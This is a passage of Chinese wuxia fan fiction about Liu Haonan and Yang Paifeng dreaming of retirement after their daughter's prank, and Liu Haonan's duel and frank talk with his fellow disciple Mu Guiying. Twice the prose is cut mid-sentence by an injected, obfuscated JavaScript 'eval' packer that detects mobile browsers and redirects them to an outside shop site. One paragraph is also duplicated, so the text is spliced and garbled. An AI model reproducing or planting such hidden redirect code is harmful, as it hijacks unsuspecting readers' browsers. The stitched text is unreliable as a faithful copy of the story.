刘朔愣愣点头。老道“嘿”了一声,一个灵巧的翻身,轻飘飘落在院中,凑到桌前,盯着那已快消散的光尘猛看,又捡起那半截焦黑的丝线头放在鼻尖嗅了嗅,脸色变得古怪起来,忽然拍着大腿哈哈大笑:“好家伙!聂隐娘这婆娘,连压箱底的‘七星锁云兜’都舍得拿出来给小丫头耍着玩了!这宝贝,当年她师父玉矶子,可是用来在华山落雁峰,网住过你师伯陈抟老祖一盏茶功夫的!哈哈哈!” 笑了几声,他忽然又敛了笑容,压低声音,神色难得地正经起来,看向耶律皓南:“皓南,这事……怕是不简单。这‘七星兜’的厉害,不仅在丝线本身,更在编织时暗藏的七星阵势,能借星辰之力,锁人真气,尤其克制咱们华山一脉以灵动迅捷见长的身法步法。那网上,是不是还缀着七颗小指肚大小、夜里会发蒙蒙白光的东海珍珠?” 见刘朔再次点头,凌霄子捻着胡须,沉吟道:“这就对了。七星定星位,珍珠蕴月华,星月之力交织,专困轻灵腾挪之路。聂隐娘用这玩意挡在门口,防的恐怕不只是寻常宵小……她这是在防着咱们华山的人去探山呢!尤其是你,皓南。” 月光悄然偏移,清辉洒落,恰好照见刘朔因方才激动拉扯而敞开的衣襟内袋,露出一角素白信封。杨排风眼尖,伸手轻轻抽了出来。 信封无字。抽出信笺,上面是七岁女童尚且稚拙、笔画却已初显风骨的字迹,只有寥寥数行: “笨哥哥:网子好玩否?就知道你会硬闯。等你学会‘周天星衍步’破我‘七星兜’,再来找我玩。现在嘛……我先学《阴符经》去也。学完了,就用九章算术给你摆个混沌阵,困你三天三夜,看你还敢不敢拦我吃酥糖! 妹:望舒字” 字迹墨色淋漓,力透纸背,可见书写时用力之猛,心气之高。而信纸背面,墨迹微微渗染开的地方,隐约可见一幅以淡褐色糖渍绘制的、线条简单却意韵无穷的图案——那图案,赫然是河图洛书的雏形。虽显稚嫩,但方位、数理,竟分毫不差! 一时间,院中寂然。夜风拂过,只有那本《江湖防骗指南》的金箔书页,和那张三百亩茶园的地契,在石桌上发出轻微的沙沙声,仿佛是一个七岁小魔头,在千里之外恶作剧得逞后,捂着嘴偷偷的、得意的笑声。 少年的鼾声终于在石桌旁响起,带着奔波后的疲惫与放下心事的松弛。刘朔伏在冰凉的青石桌面上,睡得深沉,只是眉头还微微蹙着,似乎梦中仍在与那该死的冰蚕网搏斗,掌心无意识地紧攥着那最后一点冰蚕丝的残骸,仿佛那是他“战败”的证明,也是下次“雪耻”的动力。月光温柔地浸透他睫毛上未干的泪痕(气的),也流淌过那本《江湖防骗指南》精致的扉页。 扉页上,是聂隐娘铁画银钩、力透纸背的亲笔题诗: “世道多坑,何妨先试至亲。七星网下过,方知江湖深。” 诗句旁,还画了个小小的、吐着舌头的鬼脸,笔触稚气,一看就是刘望舒的“杰作”。 耶律皓南轻轻将滑落的外袍重新披在儿子肩上,指尖不经意触到少年掌心。那里有一层新鲜的薄茧,不是常年握剑磨出的硬茧,而是近期频繁握持罗盘,拨弄卦筹留下的痕迹。他心下一动,忽然想起月前师叔来信中的话。凌霄子在信里,难得没有插科打诨,而是颇为郑重地写道:“……朔儿近日于终南山下,遇农户失牛。彼未起卦,未问神,只细观泥泞蹄印、道旁草叶倒伏之向,循溪涧乱石水痕,不出一个时辰,竟自山涧深处牵牛而归。老夫问其故,答曰:‘牛性恋群,又贪水草,蹄印虽乱,终有常理。人心亦如牛踪,循其本性,观其微末,则迷者自现。’ 皓南,此子灵性,不在道术精微,而在洞悉人心、明察秋毫。此乃大智慧之根苗,慎之,重之,莫以小道拘之。” 当时他于灯下反复读此数语,心中感慨良多。他自己十五岁时在做什么?每夜枯坐观星台,以铜钱蓍草推演那渺茫的复国气运,掌心被炙热的铜钱烙出北斗状的焦痕,连梦中都是北汉故都的残垣断壁与血火硝烟。而他的儿子,在同样的年纪,最大的“挫折”是被妹妹用价值连城的宝贝戏耍,最执着的“事业”是钻研如何破解那个古灵精怪的阵法,最得意的“战绩”是帮老乡寻回了耕牛。这其中的天壤之别,让他心下酸涩,又涌起无限的宽慰。 杨排风无声地递过一杯新沏的、温度正好的茶,目光落在儿子即使睡梦中也难掩飞扬跳脱神情的眉眼上,低声道:“这倔脾气,认死理的劲儿,倒有几分像师叔当年的,凌霄子师叔年轻时,为了与你师父论清楚‘道在器中’还是‘器由道生’,可是在你师父的云房外枯坐了三天三夜,差点饿晕过去。” 她说着,眼中泛起温柔的笑意,“只是朔儿这跳脱机灵、不按常理出牌的性子,还有这吃瘪后转眼就能自得其乐的心性,怕是青出于蓝了。师叔若知他这宝贝徒孙,被妹妹坑了还惦记着破阵之法,不知是该气还是该笑。” 茶烟袅袅,在如水的月华里升腾,模糊了耶律皓南眼底深沉的思绪。他握住妻子递茶的手,掌心相贴,温暖踏实。“跳脱灵动,是他的福分。”他声音很轻,像在自言自语,又像在对那个十五年前,于华山风雪中独自推演天下大势的孤独少年说,“不必背负如山国仇,无需算计每一步得失,他的江湖,该是鲜活的,有趣的,哪怕……偶尔被妹妹坑一下。” 说到最后,语气已带上了笑意。 夜色渐深,南风变得轻柔,捎来远山草木在夜间舒放的清新气息。杨排风循着风来的方向,望向南方天际尽头。那里,越过千山万水,是终年云雾缭绕、宛如仙境的玉女峰。“望舒那丫头……”她轻声开口,话音里含着笑,也有一丝只有母亲才能完全体会的、复杂的怅惘与骄傲,“上月聂掌门信中说,小丫头嫌《阴符经》文字古奥,读着无趣,竟异想天开,以冰蚕丝为纸,以星辰轨迹为笔意,将全篇经文用阵法绣了出来。聂掌门检视时,发现那绣纹竟暗合璇玑变化,牵一发而动全身,直呼‘小妖孽’。” 耶律皓南也想起那封信。聂隐娘的字迹向来如剑锋劈斫,凌厉逼人,唯独在提及小徒弟时,笔墨间罕见地透出几分近乎纵容的温软与得意:“七岁稚子,以糖渍绘河洛,以阵图入女红。嬉笑问道,顽皮求真。老身半生踏遍九州,所见所谓英才俊杰,论灵性之通透、心思之奇诡、魄力之无忌,无出此子之右。纵有些顽劣跳脱,然赤子之心,明珠耀世,纵有些娇气霸道,然我玉女峰,养得起!” 信笺的边缘,还沾着一点已干涸的、黏黏的淡黄色痕迹——是那小丫头偷吃蜂蜜糕时,故意用手指蘸了糖浆,按上去的“印章”。 “锋芒已露,且是遮不住的绝世锋芒。”耶律皓南轻叹,眼前仿佛清晰浮现出女儿的模样——该是穿着小小的道袍,却不好好穿着,袖口挽起,脸上可能还沾着墨迹或糖渍,小手执着的或许不是笔,而是绣针,描摹的却不仅仅是花纹,而是星辰的轨迹、阵法的玄机。聂隐娘将她宠得无法无天,万金难求的冰蚕网说拆就拆给她玩,三百亩茶园说赠就赠,只为哄她喝茶解腻,可正是在这般毫无保留的溺爱与纵容下,那颗本就璀璨非凡的心,才得以毫无拘束地生长,恣意翱翔于属于她的九天之上。 夜色渐深,南风变得轻柔,捎来草原深处牧草与野花在夜间舒放的清新气息。杨排风循着风来的方向,望向被夜幕笼罩的南方。那里,越过燕山山脉,是中原的万家灯火,更远处,则是他们即将归去的华山云海。“望舒那丫头……”她轻声开口,话音里含着笑,也有一丝只有母亲才能完全体会的,复杂的怅惘与骄傲,“上月聂掌门信中说,小丫头嫌《阴符经》文字古奥,读着无趣,竟异想天开,以冰蚕丝为纸,以星辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185053|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轨迹为笔意,将全篇经文用阵法绣了出来。聂掌门检视时,发现那绣纹竟暗合璇玣变化,牵一发而动全身,直呼‘小妖孽’。” 耶律皓南也想起那封信。聂隐娘的字迹向来如剑锋劈斫,凌厉逼人,唯独在提及小徒弟时,笔墨间罕见地透出几分近乎纵容的温软与得意:“七岁稚子,以糖渍绘河洛,以阵图入女红。嬉笑问道,顽皮求真。老身半生踏遍九州,所见所谓英才俊杰,论灵性之通透、心思之奇诡、魄力之无忌,无出此子之右。纵有些顽劣跳脱,然赤子之心,明珠耀世,纵有些娇气霸道,然我玉女峰,养得起!” 信笺的边缘,还沾着一点已干涸的、黏黏的淡黄色痕迹——是那小丫头偷吃蜂蜜糕时,故意用手指蘸了糖浆,按上去的“印章”。 “锋芒已露,且是遮不住的绝世锋芒。”耶律皓南轻叹,眼前仿佛清晰浮现出女儿的模样——该是穿着小小的道袍,却不好好穿着,袖口挽起,脸上可能还沾着墨迹或糖渍,小手执着的或许不是笔,而是绣针,描摹的却不仅仅是花纹,而是星辰的轨迹、阵法的玄机。聂隐娘将她宠得无法无天,万金难求的冰蚕网说拆就拆给她玩,三百亩茶园说赠就赠只为哄她喝茶解腻,可正是在这般毫无保留的溺爱与纵容下,那颗本就璀璨非凡的心,才得以毫无拘束地生长,恣意翱翔于属于她的九天之上。 杨排风忽然更紧地握住丈夫的手,掌心因常年练棍而生的薄茧,摩挲着他指间那些深深刻下的、推演卦象留下的痕迹。她的目光掠过熟睡的儿子,又望向南方天际,声音轻柔却带着一种尘埃落定后的释然与憧憬:“他们的人生,注定会比我们的……” “更辽阔,更自由,也更像他们自己。”耶律皓南接过妻子未竟的话语,将她微凉的手完全包覆在自己温热的掌心。他想起自己年少时,那副名为“国仇家恨”、“复国重任”的枷锁是何等沉重,压得他几乎喘不过气,每一步都如履薄冰,每一次选择都充满算计与痛苦。而他的儿女,在华山与玉女峰的庇佑下,在师长们或洒脱或纵容的教导中,最大的烦恼是兄妹斗法,最远的眺望已是星辰瀚海与武道极致。这其中的天壤之别,让他心潮起伏,最终化作眼底深沉的欣慰与一丝淡淡的、终于可以放手的轻松。 远处皇宫方向传来隐约的钟鼓声,那是宫廷报晓的序曲,也提醒着他们,这里仍是盛京。杨排风忽然转过头,望着耶律皓南在月光下显得格外柔和的侧脸,轻声问:“皓南,接下来……我们去哪儿?” 这问题很轻,像一片羽毛飘落心湖,却在他心中荡开一圈圈涟漪。卸下了国师官印,告别了盛京牢笼,前路骤然开阔得令人有些无措,却又充满了无限可能。他沉默了片刻,并非犹豫,而是在细细描摹心中那幅憧憬已久的画卷。然后,他反手与妻子十指相扣,掌心相贴处传来彼此坚定而温暖的脉搏,他眼底渐渐漾开明亮而温暖的笑意,如同春冰初融后第一缕照透溪水的阳光。 “先去江南。”他开口道,声音里带着一种少年人般的雀跃与向往,那是被压抑了太久的天性在缓缓苏醒,“我读前朝诗文,总向往那句‘暮春三月,江南草长,杂花生树,群莺乱飞’。想去看看西湖的烟波是否真的‘浓妆淡抹总相宜’,想去尝尝苏州的蟹粉小笼、松鹤楼的樱桃肉,是否真如传说中那般鲜美。听说金陵秦淮河的画舫灯影,瘦西湖的明月箫声,都是人间绝景……我们乘船沿运河南下,一路慢慢走,慢慢看。” 他说着,眼中光彩愈盛,仿佛已置身于那杏花春雨的画卷之中。 杨排风静静听着,唇角含笑。她想起很多年前,自己还是天波府里那个对外面世界充满好奇的烧火丫头时,曾听府里见过世面的老管事念叨过江南风物,那些关于精致点心、柔软丝绸、温言软语的片段描述,曾构成她对一个遥远富庶之地的全部想象。后来,命运将她抛入时代的洪流,在塞北的风沙与刀剑中,那些关于“江南”的模糊念想,早已被深埋。此刻被丈夫重新勾起,竟有种隔世般的恍惚与新鲜期待。 “再去西域。”耶律皓南继续描绘着,语气越发悠然神往,仿佛那壮丽的旅程已在眼前展开,“我们去看看天山上的雪莲是否真的千年不凋,去尝尝高昌故地窖藏的葡萄美酒,是否真如诗中所咏,‘葡萄美酒夜光杯,欲饮琵琶马上催’。我们沿着玄奘法师当年走过的古道,过玉门,出阳关,踏一踏那真正的‘大漠孤烟直,长河落日圆’。或许运气好,能在敦煌的石窟里,找到前朝匠人留下的、绘有奇异星图的壁画;或许能在龟兹的市集上,买到于阗美玉雕琢的算筹;或许……还能遇上几个真正的西域奇人,聊聊那里的星辰与中原有何不同。” 他说着说着,声音渐低,因为他发现杨排风正含笑静静地望着他,眸中映着即将沉落的皎月与东方天际初露的,淡金色的晨曦,那目光如此温柔,又如此明亮,仿佛盛满了整个即将到来的、崭新的黎明。在这一刻,耶律皓南忽然恍然惊觉——自己这般兴致勃勃描绘的,哪里仅仅是未来的行程?这分明是迟到了整整十五年、甚至更久远的,本该属于他们两个人的、携手共游的山河岁月,是褪去了所有重担与伪装后,最本真的向往与期待。 “然后,我们回华山。”他最后说道,声音沉静下来,带着落叶归根般的安然,“在莲花峰下结几间草庐,辟半亩菜畦。春天看云海,夏天听松涛,秋天采山果,冬天围炉煮雪。师叔肯定隔三差五要来蹭饭,朔儿那小子学了新本事,也必定会跑回来炫耀。望舒……那丫头怕是会被聂掌门拘得紧,但逢年过节,总能找借口溜回来瞧瞧咱们……” 他描绘的画面太过平实温馨,与方才的壮游遐想形成奇妙的对比,却同样动人。杨排风仿佛已看见晨雾中升起的袅袅炊烟,听见山涧潺潺的水声,闻见丈夫在丹房里捣药传来的淡淡草木清香,混杂着自己灶下柴火的气息。 “至于银钱嘛,” 耶律皓南忽然笑了笑,语气轻松,带着一种“船到桥头自然直”的洒脱,“陛下赏的千两黄金,听着不少,咱们省着些花,精打细算,支撑这些年游历,应当也够了。等回了华山,山居清简,花费更少。再说,为夫这一身本事,难道还养不起家?” 他说得自信,全然未觉这其中对“精打细算”的想象,与他们方才憧憬的、漫游天下尝遍美食佳酿的规划,隐隐存在着一丝天真的矛盾。常年身处高位、对庶务银钱并无具体概念的他,尚未真正体会到“坐吃山空”四字的含义,也尚未想到,携美游历天下,随心所欲,会是何等耗资靡费之事。 “傻话。”杨排风笑骂,声音却有些控制不住的微颤与哽咽,眼中也漾起了晶莹的水光。她伸出手,掌心轻柔地捧住他的脸,拇指极其温柔地、一点点擦过他不知不觉已然湿润的眼角。“当年在汴京天波府大门外,你不就已经替我算过了?那一卦,可是算准了我这辈子。至于卦金嘛……” 她眨了眨眼,将泪意逼回,换上熟悉的、带着灵动狡黠的笑容,“本姑娘可是赊了这么多年的账了,如今债主打算怎么讨?难不成真要拉着我去摆摊算命抵债?” 耶律皓南心潮激荡,再也无需多言,手臂用力,将她深深拥入怀中,紧紧地,仿佛要弥补过往所有分离的时光,又像是要确认此刻真实紧握的幸福。东方天际,蟹壳青的底色已被染上愈来愈灿烂的金红,晨光如潮水般漫过庭院,漫过石桌上酣然沉睡、眉宇舒展的少年,漫过那截依旧流转着七彩微光的冰蚕丝残骸,也漫过那本金箔册子和茶园地契,为它们镀上了一层温暖而充满希望的光晕。 石桌上的茶早已凉透,但属于刘皓南(他心中已开始习惯这个即将重新使用的名字)和杨排风的、新的人生之茶,正要在这万丈霞光中,沸腾出最醇厚清冽的滋味。 远处,盛京城各处的晨钟相继响起,浑厚而辽远,唤醒了草原上的这座雄城。第一声鸡鸣从坊间传来,紧接着,此起彼伏。刘朔在梦中咂了咂嘴,含糊地嘟囔了一句“冰蚕网……不算……下次一定……”,翻了个身,袖中滑出那本《江湖防骗指南·亲子特别版》。 书页摊开,晨曦正好照亮扉页背面,那幅以糖渍绘就的简笔画——两个手牵手的小人,穿着简单的衣袍,戴着斗笠,正走向远处寥寥数笔勾勒出的青山、白云与蜿蜒长路。画旁有一行小字,墨迹犹新,显然是刘望舒最近才添上的: “爹,娘,江湖好玩,记得带糖回来!” 晨光愈发明亮,笼着相拥的夫妻与安睡的少年。他们满怀对江南烟雨、西域长风、华山云雾与儿女锦绣前程的憧憬,对即将开始的、无拘无束的归隐生活充满热望,甚至已开始在心里盘算南下第一站该去哪座名城,尝哪种美食。这份来之不易的宁静与向往,如同晨露般晶莹美好,却不知命运最擅长的,便是在人最放松时,轻轻拨动那根名为“现实”的弦。 26. 泯恩仇,问剑心 穆柯寨后山,千竿翠竹在午后的风中摇曳,发出连绵不绝的沙沙声,如天地为这场迟来了十五年的重逢,轻轻奏响的背景清音。 竹影婆娑间,一袭简单靛青布衣的刘皓南静立等待。他已褪去了象征辽国国师尊位的绯红官袍与进贤冠,长发仅以一根竹簪随意束起,周身再无半分珠玉装饰,唯有腰间悬着的那枚色泽已显黯淡、却依旧能看出北斗七星纹路的古旧玉佩,还隐约透着往昔岁月与身份的痕迹。他就那样站着,身姿挺拔如竹,明明已是布衣草履,但那负手而立、静观风云的气度,眉宇间沉淀下的深敛与沧桑,却与这山林野趣格格不入,反而透着一种曾经身处高位,执掌过庞大棋局后难以完全洗去的疏离与端凝。 脚步声不疾不徐,由远及近,踏着满地竹叶而来。穆桂英来了。她未着铠甲,只一身便于行动的深蓝劲装,腰束革带,足踏快靴,长发高束成利落的马尾,几缕碎发拂过被边塞风霜刻画得越发棱角分明的脸颊。十五年光阴,在两人身上都刻下了不可磨灭的印记,却也未曾磨灭眼中那份属于武者、属于华山传人的锐利光华。 她在十步外站定,目光如电,将眼前这位阔别多年的师兄从头到脚扫视一遍,最后落在他空悬的腰侧——那里本应佩剑,如今却空空如也。她想起前些时日聂隐娘来访时,曾嗤笑着评价“你们华山一脉,从上到下,尽是些被规矩道理捆住了手脚的木头疙瘩,看似聪明,实则迂腐”,嘴角不由几不可察地微扬了一下,带着几分了然与复杂。 “师兄。”她开口,声音清越,不大,却清晰地穿透了竹涛声。 这声“师兄”,让刘皓南心中蓦然一震。仿佛一道温暖却汹涌的激流,毫无预兆地冲开了冰封沉寂整整十五年的河面,那些关于华山云雾、关于晨钟暮鼓、关于少年时在师父座下辩经论剑的遥远记忆,瞬间翻涌而至,带着陈年旧事的微涩与重逢的温热。 穆桂英的目光在他空悬的剑鞘和那身过于“整洁”甚至显得有些拘谨的布衣上停留一瞬,率先打破了沉默:“你……这些年来,可还安好?” 这是她积压心底已久的疑问,或许也是今日她愿意走出寨子、来此相见的最重要缘由。聂隐娘日前到访时,曾难得正色道:“陈希夷那老道,看似古板守旧,实则胸有丘壑,眼光毒辣,最是懂得变通之道。他当年择徒传道,选中皓南而非旁人,必有我等未能尽窥的深意。你们这些小辈,莫要囿于门户之见、过往恩怨,小瞧了那老道的布局,也小瞧了你师兄。” 刘皓南神色一肃,收敛了所有杂念,对着南方华山的方向,郑重地拱手一礼,才缓缓道:“师父已于十五年前,在华山顶峰坐忘峰,观星悟道,安然羽化登仙。” 他的声音平静,却带着深沉的敬仰与追思。言罢,他从怀中取出一卷以油纸仔细包裹、边缘已有些磨损的牛皮图谱,双手递过,“师父羽化前,曾召我至榻前,亲手将此物交托,嘱我若有朝一日得见师妹,务必转交。此乃《飞星二十六诀》的全本图谱与心法注解。” 他顿了顿,看向穆桂英瞬间凝住的眼神,继续道:“师父说,当年因时机未至,只传授了你基础十二式。剩余十四式,暗合天罡地煞之变,杀伐凌厉,变化无穷,更涉及心神锤炼,非武道大成、心境圆融贯通者不可修习,强练恐有入魔之虞。故命我暂时代为保管,待你……火气褪尽,执念化开,剑心通明之日,再行传授。” 穆桂英指尖微颤,接过了那卷看似寻常、却重若千钧的图谱。牛皮触手温润,带着岁月与人手的痕迹。她轻轻展开一角,熟悉的、铁画银钩般的字迹映入眼帘,正是师尊陈希夷的手书。那些字迹似乎还残留着华山洞天里的松烟墨香,瞬间将她拉回许多年前——那时她还是个心高气傲、满腔热血的少女。在华山之巅,师尊总是不厌其烦,将最精妙深奥的剑理拳意,化入日常的挑水、劈柴、扫地乃至观云听涛之中,从不刻意区分男女徒儿的教法,也从未因她是女子而有所保留或轻视。如今回首,她才恍然惊觉,那并非随意,而是师尊因材施教、寓道于常的大智慧。师尊从未限定她的路,是她自己,后来画地为牢。 静默片刻,穆桂英忽然将图谱仔细收好,抬眸,眼中闪过一抹锐利如剑的光芒。她起身,腰侧那排从不离身的柳叶飞刀囊在穿过竹叶的阳光下泛着冷硬的微光。 “师兄,”她开口,语气平静却带着不容拒绝的意味,“一别十五年,今日重逢,切磋一场如何?” 不是质问,不是挑衅,只是同门之间最直接的交流方式——以手中剑,问心中道。 刘皓南微微一愣,随即了然一笑,那笑容冲淡了些许他周身过于沉凝的气息:“好。” 一个字,干脆利落。 穆桂英不再多言,右手按上剑柄,“锃”的一声清吟,长剑出鞘,如一泓秋水漾开寒光。她手腕微振,剑尖轻颤,瞬间化作三点凌厉逼人的寒星,呈“品”字型当胸刺到——正是她将沙场杨家枪法中“金鸡三点头”的凌厉攻势,化入华山剑法轻灵迅捷特点而自创的招式“三星映月”,虚实相间,迅若惊雷。 刘皓南不闪不避,甚至未取兵器,只在那三点寒星即将及体的刹那,身形如风中柳絮、水中游鱼般轻轻一晃,脚下步伐玄妙莫测,竟从那看似密不透风的剑网缝隙中,以毫厘之差悠然“滑”了开去,衣袂飘拂,点尘不惊。 “师兄的‘流云步’,比起当年,更见圆转如意了。”穆桂英话音未落,剑招已变。方才那一点寒星骤然炸开,化作滔滔剑浪,如长江大河般奔涌不绝,气势雄浑,却又在雄浑之中蕴含着华山剑法特有的轻灵与精准。她将十五年沙场征战中淬炼出的杀伐果断、一往无前,与华山剑法的轻、灵、巧、变完美融合,每一剑刺出都带着撕裂空气的锐响,剑光织成一张凛冽的网,笼罩向刘皓南周身大穴。 刘皓南依旧以“流云步”周旋,身形在竹影与剑光间飘忽不定,偶尔屈指弹开刺向要害的剑尖,指风凌厉,竟发出金铁交鸣之声。他眼中赞赏之色愈浓,穆桂英的进步远超他预料。她已彻底摆脱了单纯模仿师尊或拘泥剑谱的桎梏,走出了独属于自己的,刚柔并济,沙场与江湖气质交融的剑道。 转眼二十五招已过。 穆桂英剑势蓦地一收,漫天剑光骤然消散。她持剑而立,微微蹙眉看向刘皓南:“师兄何必一直相让?只守不攻,这切磋有何意味?”语气中带着明显的不满与探究。 “非是相让,”刘皓南停下脚步,坦然道,目光真诚,“而是师妹的剑法已然自成一格,攻守兼备,气韵贯通。为兄若以旧日眼光应对,仓促出手,恐失分寸,反而不美。” 他确实在仔细观察,穆桂英的剑路已超出他原本的预估,那种混然天成的杀伐气与灵动性,让他不得不重新评估这位师妹如今的真正实力。 穆桂英眼中闪过一丝狡黠如狐的光芒:“既然如此,那便请师兄试试这个!” 她话音未落,手腕猛地一抖,体内真气澎湃涌出,长剑骤然发出一声清越长鸣!剑尖之上,真气激荡,竟同时爆出七点璀璨夺目、凝若实质的寒星,按着一种玄奥莫测的轨迹运转、闪烁,隐隐构成北斗七星之形。星光彼此勾连,气机森然锁定,将刘皓南所有进退闪避之路封死——这正是《飞星二十六诀》中极为精妙深奥的一式变化“七星锁元”,若非内功剑意均至一定火候,绝难施展! 刘皓南终于色变。这一剑,已不容他只以步法闪避。他目光一凝,闪电般探手,折下身旁一根三尺来长、拇指粗细的青翠竹枝,手腕一振,柔韧的竹枝竟因灌注精纯内力而绷得笔直,发出“嗡”的一声低沉颤鸣,恍如龙吟。 面对那七点索命寒星,他不退反进,手中竹枝如剑,轻飘飘地点出,轨迹古朴简单,毫无花巧,却精准得令人心悸地点向那七点寒星气机流转、生生不息的核心枢纽之处——那也是这招“七星锁元”唯一、且稍纵即逝的转换空隙。 “叮——!” 一声清脆到极致、仿佛玉磬相击的鸣响炸开! 穆桂英只觉一股浑厚柔和却又沛然莫御的巨力,自剑尖传来,巧妙地震散了七星剑气彼此勾连的阵势,手中长剑剧颤,酸麻感直透臂膀,险些脱手飞出!她闷哼一声,连退三步,方才稳住身形,胸中气血一阵翻涌。 她怔怔地低头,看着那根青翠的竹枝尖,正稳稳地、轻轻地,点在自己胸前膻中穴外半寸之处,凝而不发。竹枝上,甚至还有一片嫩绿的竹叶在微微颤动。 半晌,她深吸一口气,压下翻腾的气血,抬眸望向收枝而立的刘皓南,忽然轻轻笑了起来,那笑声里有释然,有佩服,也有一丝不易察觉的如释重负:“是我输了。师兄修为,已臻化境,佩服。” “不,”刘皓南摇头,手腕一抖,那根承载了两人凌厉一击却完好无损的青竹枝,瞬间化作无数均匀的碎片,如碧玉粉末般簌簌飘散在风中。他望着纷飞的竹屑,缓缓道:“方才那一剑,并非为兄胜过师妹。是华山剑法赢了,是师父……赢了。” 他看向穆桂英疑惑的眼神,解释道:“为兄最后点破师妹‘七星锁元’的那一式,并非华山原有剑招,亦非为兄自创。那是师父晚年,云游归来后,闭关三载,为弥补《飞星二十六诀》最后一重‘星陨’变化中,因过于追求杀伐凌厉而导致气机转换间那一丝微不可察却确实存在的破绽,而特意创出的补遗之剑,名为‘星移斗转’。师父曾言,此招不重杀敌,重在‘导引’与‘化解’,专破‘飞星诀’极致变化中的戾气与破绽。他嘱我,若有一日师妹练成此诀,务必将此招相授。” 穆桂英彻底愣住。她回想起自己修炼“飞星诀”到最后几式时,确实常有心神躁动,剑气难以圆融之感,原以为是自身火候未到,却未想竟是剑诀本身留有最后一重未曾言明的精要。师尊竟在多年前,就已为她今日之境,备下了破解与引导之法。这份深远的考量与守护,让她喉头微微一哽。 夕阳西斜,将漫天竹海染成一片温暖的橙金色。二人移步至竹林深处的简陋石亭,对坐品茶。粗陶茶碗中,茶汤清碧,热气袅袅。 穆桂英捻着温热的茶碗,忽然抬眼,目光如炬,直射刘皓南:“师兄辞官归隐,今后……有何具体打算?” 刘皓南微微一顿,似乎没想到她会问得如此直接。他望向南方被晚霞浸染的天际,目光悠远,语气平和,带着一种终于挣脱束缚后的舒缓与向往:“打算与排风先南下,去江南水乡游历一番。苏杭佳地,金陵胜景,向往已久。这些年在朝堂之上,案牍劳形,权谋困心,如同身处金笼,虽锦绣繁华,却难得自在。总想着有朝一日,能抛却这一切,重回山野林泉,做一对闲云野鹤,逍遥度日。” 他嘴角噙着淡淡笑意,似乎已看见小桥流水、画舫听雨的恬淡日子,“待游历倦了,便回华山莲花峰下,结几间草庐,辟半亩药畦,晨起观云,夜卧听松,课子读书,与老友品茗论道,如此了此余生,于愿足矣。” “啪。” 一声清脆的轻响,是穆桂英将手中茶碗不轻不重地搁在了石桌上。她坐直了身体,那双历经沙场与世事磨洗的眼眸,此刻锐利得仿佛能穿透人心,先前切磋时的些许温和笑意尽数敛去,取而代之的是一种近乎严厉的审视。 “师兄,”她的声音不高,却字字清晰,带着一种不容回避的力道,“我观你如今,虽已脱去那身绯红官袍,离了辽国朝堂,但言谈举止之间,官气犹在,暮气已显。” 刘皓南抬眼看她,神色间掠过一丝错愕,似乎没料到她会如此直言。 “你好歹也曾是执掌北院机要、翻手为云覆手为雨,在宋辽之间布下天门奇阵,搅动过天下风云的人物。”穆桂英向前倾身,目光灼灼,仿佛要将他看透,“纵然如今心灰意懒,看透名利,可你这身经师父倾囊相授的武功韬略,这半生跌宕起伏历练出的眼光手腕,难道就真打算……一股脑儿带回华山,关起门来,当个清修避世、只知炼丹打坐的邋遢道士?” 她的话语如同竹鞭,抽散了亭中闲适的茶烟。刘皓南眉头微蹙,欲言又止。 穆桂英却不给他分辨的机会,抬手一指竹林外隐约可见的穆柯寨轮廓,那里正有缕缕炊烟在暮色中袅袅升起,融入霞光:“师兄你看,这寨中上下,有我杨家旧部,有收容的流民,有依赖这片山水生存的百姓。我穆桂英一介女流,武功谋略远不及你,尚知以此残躯,守此寨,护此民,尽一份心力。你刘皓南——堂堂陈抟老祖亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185054|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传弟子,昔日的北汉皇孙、辽国国师,难道胸中抱负,就只剩下山中采药,灯下棋枰?你这身本事,不去做些更有意义的事,难道真要让你师妹我,将来在江湖上听人笑谈——‘瞧,那就是刘皓南,以前多么了得,如今嘛,嘿,靠媳妇养着,在华山当隐士呢’?” 最后一句,她语气陡然加重,目光如电,狠狠钉在刘皓南脸上。“还是说,你打算真让排风,往后跟着你啃那点老本,或者真去街头摆摊算命,来养活你们这‘闲云野鹤’的日子?” 这番话,犀利如剑,毫不留情地劈开了刘皓南为自己勾勒的那幅田园归隐图,露出了其下可能存在的苍白与无力。他并非没有想过银钱用度,只是总抱着“车到山前必有路”的模糊念头,更未曾深想,自己这身本事、这副心性,是否真能甘于那样的“平凡”。 刘皓南如遭雷击,怔在当场,嘴唇微张,却发不出声音。穆桂英的话语,每一个字都像重锤,敲打在他自以为已然通透的心防之上。“靠媳妇养着”、“摆摊算命养活”……这些直白甚至有些刺耳的言辞,粗暴地撕碎了他对归隐生活那份不切实际的浪漫幻想,逼迫他去面对一个最现实的问题:他刘皓南,真的能安然归于平凡,泯然众人吗? “守护……” 他无意识地喃喃重复着穆桂英话中的这个词,脑海中却猛地炸开另一幅画面——华山顶峰,风雪狂啸,师尊陈希夷羽化前的最后时刻。老人面色如金,气息微弱,却紧紧握着他的手,枯槁的手指传递着最后的力量,声音轻如叹息,却字字凿进他灵魂深处:“皓南……道统予你,非为守一山一派之私……是为……苍生。” 当时他沉浸在师尊即将离世的悲恸与继承道统的巨大压力中,对“苍生”二字的理解,或许还局限于那虚幻的“复国”执念。如今,时移世易,枷锁尽去,再回想师尊遗言,结合穆桂英此刻的质问,那“苍生”二字,有了截然不同、却更为磅礴坚实的重量。 